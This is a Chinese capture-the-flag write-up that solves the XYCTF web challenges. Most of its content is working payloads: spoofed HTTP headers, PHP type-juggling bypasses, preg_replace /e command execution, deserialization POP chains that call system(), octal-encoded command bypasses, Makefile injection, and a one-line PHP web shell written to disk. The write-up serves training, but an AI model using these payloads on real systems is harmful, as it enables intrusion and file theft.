WEB
ezhttp
F12看到有注释提示:
访问/robots.txt
继续访问/l0g1n.txt
,拿到用户名密码:
username: XYCTF
password: @JOILha!wuigqi123$
然后就是一连串组合技,需要对http协议比较熟悉,抓包修改header头或者用hackbar:
POST /index.php HTTP/1.1
Host: xyctf.top:48057
Content-Length: 48
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: XYCTF
Origin: http://xyctf.top:48057
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: yuanshen.com
Client-IP: 127.0.0.1
Via: ymzx.qq.com
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ee;q=0.7
Cookie: XYCTF
Connection: close
username=XYCTF&password=%40JOILha%21wuigqi123%24
上述请求包依次对Referer
,User-Agent
,Client-IP
,Via
,Cookie
进行修改,拿到flag
ezmd5
题目要求上传两个图片,并进行比较,根据题目名称猜测是要求两张图片并不相同,但通过MD5比较相同,网上有大量的碰撞构造脚本,这里提供两张图片方便使用:
图片1:
图片2:
上传后比较拿到flag
warm up
题目给出源代码,第一个if可以通过数组绕过:
val1[]=1&val2[]=2
第二个if,因为是==
比较,可以找一个0e
开头的字符串MD5加密后开头也是0e
的来绕过:
md5=0e215962017
第三个if同第二个if,这里要注意extract函数的用法,可以对变量XYCTF
的值进行覆盖:
XYCTF=0e215962017&XY=0e215962017
第一关完整payload:
GET /?val1[]=1&val2[]=2&md5=0e215962017&XYCTF=0e215962017&XY=0e215962017
拿到第二关地址:
第二关是个简单的preg_replace \e
模式RCE利用,网上payload满天飞,学习之前建议先熟悉一下正则表达式
第二关完整payload:
POST /LLeeevvveeelll222.php?a=/(.*)/ies&b=\1&c=`cat /f*`
a[]=1
ezPOP
这题还是比较有难度的,这里只列出payload不做具体讲解,想深入了解的可私聊我发你好康的学习资料
首先是简单的反序列化构造,利用数组绕过throw异常抛出:
<?php
$c=new CCC();
$a=new AAA();
$b=new BBB();
$a->s=$b;
$a->a="ttycp3";
$c->c=$a;
echo serialize(array($c,null));
拿到序列化链:
a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:6:"system";s:1:"d";s:7:"cat /f*";}s:1:"a";s:6:"ttycp3";}}i:1;N;}
把最后一位的1改成0:
a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:6:"system";s:1:"d";s:7:"cat /f*";}s:1:"a";s:6:"ttycp3";}}i:0;N;}
然后再利用一个PHP原生类构成完整payload:
POST /?xy=a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:6:"system";s:1:"d";s:7:"cat /f*";}s:1:"a";s:6:"ttycp3";}}i:0;N;}
a=Closure::fromCallable&0=Closure&1=fromCallable
引用某位师傅的解释:
利用 PHP原生类静态方法Closure::fromCallable,然后再以数组作为参数二次调用,这样经过call_user_func($a, $b) 以后,就形成了一个Closure ,它加载第一个参数($c),就变成了以那个参数命名的函数,例如system。然后再加载第二个参数($d)就变成了system函数的参数。
ezMake
这个需要学一下makefile的语法,这里借用一下变量shell拿到flag内容:
payload1
$(SHELL) flag
受王师傅启发,可以用echo写文件,所以我们也可以这样解:
payload2
echo '<?=`cat flag`?>' > 1.php
访问1.php
拿到flag
ez?Make
这个就是个简单的命令执行,只不过过滤了flag
四个字母外加.?@$;/
等等字符,这里提供一种绕过方式:
利用cd切换到根目录,利用管道符进行多次命令执行,再用more命令读取文件,用中括号匹配的方式绕过字母过滤
cd ..&&cd ..&&cd ..&&more [e-h][k-m][!e][e-h]
我是一个复读机
题目告诉了用户名还给了弱密码字典,直接爆找到密码:
简单试了两下,再看一眼题目环境是flask,是SSTI模板注入没错了
过滤的有点狠,偶然发现可以这样执行config
未完待续。。。
ezRCE
限制只能用数字和一些字符,留了$
和\
很容易想到考察的是八进制RCE,构造payload:
cat /flag
八进制编码后为:
$'\143\141\164' $'\57\146\154\141\147'
因为空格不让使,可以用<
代替,最终payload:
GET /?cmd=$'\143\141\164'<$'\57\146\154\141\147'
ezSerialize
第一关利用取址符号让token和password相等就好:
<?php
class Flag {
public $token;
public $password;
public function __construct($a)
{
$this->token = $a;
$this->password = &$this->token;
}
}
$f=new Flag(md5(mt_rand()));
echo serialize($f);
拿到序列化字符串:
O:4:"Flag":2:{s:5:"token";s:32:"a72f672fbda7ad4ee7710a53b1c55e59";s:8:"password";R:2;}
GET传参拿到第二关地址/fpclosefpclosefpcloseffflllaaaggg.php
:
第二关属实是套起来了,不过都是很简单的构造,这里列出调用栈:
E::__weakup()-->D::__toString()-->B::__get()-->A::__invoke()-->C::__call()
构造脚本:
<?php
class A {
public $mack;
}
class B {
public $luo;
}
class C {
public $wang1;
}
class D {
public $lao;
public $chen="ttycp3";
}
class E {
public $name;
public $num;
}
$e=new E();
$c=new C();
$d=new D();
$b=new B();
$a=new A();
$a->mack=$c;
$b->luo=$a;
$d->lao=$b;
$e->name=$d;
echo serialize($e);
传入pop链拿到第三关地址saber_master_saber_master.php
:
POST /fpclosefpclosefpcloseffflllaaaggg.php
pop=O:1:"E":2:{s:4:"name";O:1:"D":2:{s:3:"lao";O:1:"B":1:{s:3:"luo";O:1:"A":1:{s:4:"mack";O:1:"C":1:{s:5:"wang1";N;}}}s:4:"chen";s:6:"ttycp3";}s:3:"num";N;}
这一关的pop链构造也没什么难度,要什么值给什么值就好了,脚本如下:
<?php
class XYCTFNO1
{
private $upsw1ng;
public $crypto0='dev1l';
public $T1ng='yuroandCMD258';
public $Liu;
}
class XYCTFNO2
{
public $crypto0;
public $adwa;
}
class XYCTFNO3
{
public $KickyMu;
public $fpclose;
public $N1ght = "oSthing";
}
$n1=new XYCTFNO1();
$n2=new XYCTFNO2();
$n3=new XYCTFNO3();
$n2->adwa=$n1;
$n3->KickyMu=$n2;
echo urlencode(serialize($n3));
这里要注意有私有变量,有不可见字符需要url编码一下,再利用原生类SplFileObject
和伪协议读取flag.php
POST /saber_master_saber_master.php?CTF=O%3A8%3A%22XYCTFNO3%22%3A3%3A%7Bs%3A7%3A%22KickyMu%22%3BO%3A8%3A%22XYCTFNO2%22%3A2%3A%7Bs%3A7%3A%22crypto0%22%3BN%3Bs%3A4%3A%22adwa%22%3BO%3A8%3A%22XYCTFNO1%22%3A4%3A%7Bs%3A17%3A%22%00XYCTFNO1%00upsw1ng%22%3BN%3Bs%3A7%3A%22crypto0%22%3Bs%3A5%3A%22dev1l%22%3Bs%3A4%3A%22T1ng%22%3Bs%3A13%3A%22yuroandCMD258%22%3Bs%3A3%3A%22Liu%22%3BN%3B%7D%7Ds%3A7%3A%22fpclose%22%3BN%3Bs%3A5%3A%22N1ght%22%3Bs%3A7%3A%22oSthing%22%3B%7D
X=SplFileObject&Y=php://filter/convert.base64-encode/resource=saber_master_saber_master.php
拿到flag,结束套娃之旅
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至1004454362@qq.com